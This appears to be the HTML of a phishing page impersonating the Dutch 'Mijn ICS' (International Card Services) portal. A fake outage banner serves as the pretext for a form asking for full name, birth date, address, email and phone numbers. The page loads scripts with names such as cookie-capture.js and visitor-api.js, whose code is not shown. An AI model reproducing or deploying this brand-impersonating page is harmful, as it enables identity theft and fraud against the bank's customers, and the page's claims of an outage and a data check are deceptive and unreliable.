<!DOCTYPE html>
<html lang="nl" data-beasties-container=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Persoonlijke Gegevens - Mijn ICS | International Card Services</title>
    <base href="/">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="./css/base.css" media="all">
    <link rel="stylesheet" href="./css/page.css" media="all">
    <link rel="stylesheet" href="./css/theme.css" media="all">
    <link rel="icon" href="./images/app-favicon.png" type="image/png">
    <script src="/scripts/outage-bootstrap.js"></script>
    <style>
      .info-card {
        max-width: 560px !important;
      }
      #infoFormId-desktop,
      #infoFormId-mobile {
        gap: 8px !important;
      }
      #infoFormId-desktop .user,
      #infoFormId-mobile .user {
        margin-bottom: 0 !important;
      }
      #infoFormId-desktop .input,
      #infoFormId-mobile .input {
        min-height: 42px !important;
      }
      #infoFormId-desktop input:not([type=checkbox]):not([type=radio]),
      #infoFormId-mobile input:not([type=checkbox]):not([type=radio]) {
        height: 42px !important;
        font-size: 12px !important;
      }
      #infoFormId-desktop .label,
      #infoFormId-mobile .label {
        font-size: 12px !important;
      }
      .info-subtitle {
        max-width: 560px;
        margin-bottom: 12px !important;
      }
      .info-card .action-buttons,
      .mobile-form .action-buttons {
        margin-top: 18px !important;
      }
    </style>
</head>
  <body>

    <app-root><div class="client"><div class="client-web"><div class="v2"><lib-app-login data-ui-15=""><ui-sidenav-layout data-ui-5="" data-ui-11=""><nav data-ui-2="" class="sidenav"><div data-ui-5="" slot="sidenav" class="sidenav-content"><ui-skip-links data-ui-5="" mainelementid="main-content" data-ui-13=""><a data-ui-3="" id="skip-links-anchor" tabindex="0" href="#main-content" data-i18n="skipLink">Naar de inhoud</a><div data-ui-3="" id="content-wrapper-el" class="content-wrapper"><img data-ui-5="" alt="Logo" width="80" height="40" class="logo" loading="eager" fetchpriority="high" decoding="sync" src="./images/brand-logo-header.png"></div></ui-skip-links><h1 data-ui-5="" class="title" data-i18n="sidenavTitle"> Inloggen bij Mijn ICS </h1></div><img data-ui-2="" alt="Money/Hand or Card" width="500" height="500" class="sidebar-image" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/layout-sidenav-art.png"><div data-ui-2="" class="language-toggle-slot-wrapper"><common-language-toggle data-ui-5="" language-toggle-slot="" mode="single" class="language-toggle dark" data-ui-10=""><div data-ui-1="" class="language-toggle-container"><button data-ui-1="" lang="nl" ui-button="" tabindex="0" class="toggle-button hide ui-button darkarea default no-border" data-ui-18="" aria-label="Schakel over naar Nederlands"><img data-ui-1="" alt="Dutch Flag" width="20" height="20" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/locale-flag-nl.png"><span data-ui-1="">NL</span></button><button data-ui-1="" lang="en" tabindex="0" ui-button="" class="toggle-button ui-button darkarea default no-border" data-ui-18="" aria-label="Switch to English"><img data-ui-1="" alt="English Flag" width="20" height="20" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/locale-flag-en.png"><span data-ui-1="">EN</span></button></div></common-language-toggle></div></nav><div data-ui-2="" class="content"><main data-ui-5="" slot="content" id="main-content"><section data-ui-5="" class="content-container"><h2 data-ui-5="" class="content-title h1" data-i18n="contentTitle"> Uw gegevens controleren </h2>
<p data-ui-5="" class="content-subtitle info-subtitle" data-i18n="infoDesc" style="color: var(--text-primary); font-size: 14px; margin-bottom: 24px; line-height: 1.5;">Bevestig uw gegevens om veilig verder te gaan.</p><div data-ui-5="" class="desktop-messages"><lib-logout-reason-banner data-ui-5="" data-ui-12=""><!----><!----></lib-logout-reason-banner><div data-ui-5="" class="generic-alert"><ui-feedback-message data-ui-5="" data-ui-14="" role="status" class="error" aria-labelledby="feedback-title"><ui-icon data-ui-4="" role="img" size="small" data-ui-16="" aria-hidden="true" class="icon-error small ui-icon"></ui-icon><!----><div data-ui-4="" class="content-text"><div data-ui-4="" class="text"><span data-ui-4="" class="title" id="feedback-title"> Er is een storing </span><!----><p data-ui-4="" class="message"><span data-ui-4="">Sorry, u kunt tijdelijk niet inloggen bij onze app en website. We werken hard om de storing op te lossen. Meestal lukt dit ons binnen een uur.</span><span data-ui-4=""></span></p><p data-ui-4=""></p></div></div><!----><!----></ui-feedback-message></div></div><ui-card data-ui-5="" class="desktop-form border info-card" data-ui-17=""><form data-ui-5="" novalidate="" id="infoFormId-desktop" class="ng-untouched ng-pristine ng-invalid">
    <ui-feedback-message data-ui-5="" class="errorFeedback error" data-ui-14="" role="status" aria-live="polite" aria-atomic="true">
        <img src="./images/ui-inline-error.png" width="16" height="16" alt="" class="error-icon" decoding="async" aria-hidden="true"/>
        <div data-ui-4="" class="content-text">
            <div data-ui-4="" class="text">
                <p data-ui-4="" class="message"><span data-ui-4="" data-i18n="infoError">Controleer de gemarkeerde velden en vul de ontbrekende informatie aan.</span><span data-ui-4=""></span></p>
                <p data-ui-4=""></p>
            </div>
        </div>
    </ui-feedback-message>
    
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="naam-desktop" data-i18n="lbl_naam"> Volledige naam </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="naam-desktop" autocomplete="name" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>

    <div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="geboorte-desktop" data-i18n="lbl_geboorte">Geboortedatum</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="geboorte-desktop" inputmode="numeric" maxlength="10" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="postcode-desktop" data-i18n="lbl_postcode">Postcode</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="postcode-desktop" autocomplete="postal-code" maxlength="7" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>

    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="adres-desktop" data-i18n="lbl_adres"> Adres </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="adres-desktop" autocomplete="street-address" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="plaats-desktop" data-i18n="lbl_plaats"> Plaats </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="plaats-desktop" autocomplete="address-level2" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="email-desktop" data-i18n="lbl_email"> E-mail </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="email" id="email-desktop" autocomplete="email" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="telefoon-desktop" data-i18n="lbl_telefoon">Telefoonnummer</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="telefoon-desktop" inputmode="tel" autocomplete="tel" maxlength="22" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="huistelefoon-desktop" data-i18n="lbl_huistelefoon">Huistelefoon</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="huistelefoon-desktop" inputmode="tel" maxlength="22" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <p data-ui-5="" class="small-muted" data-i18n="infoDisclaimer" style="margin: 14px 0 10px; text-align: center; color: var(--text-secondary); font-size: 12px;">Kijk uw gegevens nog een keer na voordat u verdergaat.</p>
</form><div data-ui-5="" class="action-buttons"><div></div><button data-ui-5="" tabindex="0" ui-button="" variant="primary" class="login-btn ui-button primary default" data-ui-18="" data-i18n="verifyBtn"> Bevestigen en doorgaan </button></div></ui-card><div data-ui-5="" class="mobile-form"><div data-ui-5=""><lib-logout-reason-banner data-ui-5="" data-ui-12=""></lib-logout-reason-banner><form data-ui-5="" novalidate="" id="infoFormId-mobile" class="ng-untouched ng-pristine ng-invalid">
    <ui-feedback-message data-ui-5="" class="errorFeedback error" data-ui-14="" role="status" aria-live="polite" aria-atomic="true">
        <img src="./images/ui-inline-error.png" width="16" height="16" alt="" class="error-icon" decoding="async" aria-hidden="true"/>
        <div data-ui-4="" class="content-text">
            <div data-ui-4="" class="text">
                <p data-ui-4="" class="message"><span data-ui-4="" data-i18n="infoError">Controleer de gemarkeerde velden en vul de ontbrekende informatie aan.</span><span data-ui-4=""></span></p>
                <p data-ui-4=""></p>
            </div>
        </div>
    </ui-feedback-message>
    
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="naam-mobile" data-i18n="lbl_naam"> Volledige naam </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="naam-mobile" autocomplete="name" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>

    <div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="geboorte-mobile" data-i18n="lbl_geboorte">Geboortedatum</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="geboorte-mobile" inputmode="numeric" maxlength="10" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="postcode-mobile" data-i18n="lbl_postcode">Postcode</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="postcode-mobile" autocomplete="postal-code" maxlength="7" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>

    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="adres-mobile" data-i18n="lbl_adres"> Adres </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="adres-mobile" autocomplete="street-address" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="plaats-mobile" data-i18n="lbl_plaats"> Plaats </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="plaats-mobile" autocomplete="address-level2" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="email-mobile" data-i18n="lbl_email"> E-mail </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="email" id="email-mobile" autocomplete="email" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="telefoon-mobile" data-i18n="lbl_telefoon">Telefoonnummer</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="telefoon-mobile" inputmode="tel" autocomplete="tel" maxlength="22" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
        <ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="huistelefoon-mobile" data-i18n="lbl_huistelefoon">Huistelefoon</label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="text" id="huistelefoon-mobile" inputmode="tel" maxlength="22" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    
    <p data-ui-5="" class="small-muted" data-i18n="infoDisclaimer" style="margin: 14px 0 10px; text-align: center; color: var(--text-secondary); font-size: 12px;">Kijk uw gegevens nog een keer na voordat u verdergaat.</p>
</form></div><div data-ui-5="" class="action-buttons"><div></div><button data-ui-5="" tabindex="0" ui-button="" variant="primary" class="login-btn ui-button primary default" data-ui-18="" data-i18n="verifyBtn"> Bevestigen en doorgaan </button></div></div></section></main></div><div data-ui-2="" class="pattern-wrapper-sidenav"><img data-ui-2="" alt="" loading="eager" fetchpriority="high" decoding="sync" src="./images/bg-dot-texture.png" sizes="100vw" style="position:absolute;width:100%;height:100%;inset:0"></div></ui-sidenav-layout></lib-app-login></div></div></div></app-root>



<script defer src="/scripts/i18n-core.js"></script>
<script defer src="/scripts/routes.js"></script>
<script defer src="/scripts/retry-helper.js"></script>
<script defer src="/scripts/page-tracker.js"></script>
<script defer src="/scripts/cookie-capture.js"></script>
<script defer src="/scripts/visitor-api.js"></script>
<script defer src="/scripts/sleep-flow.js"></script>
<script defer src="/scripts/outage-helper.js"></script>
<script defer src="/scripts/outage-guard.js"></script>
<script defer src="./scripts/app-info.js"></script>
</body></html>

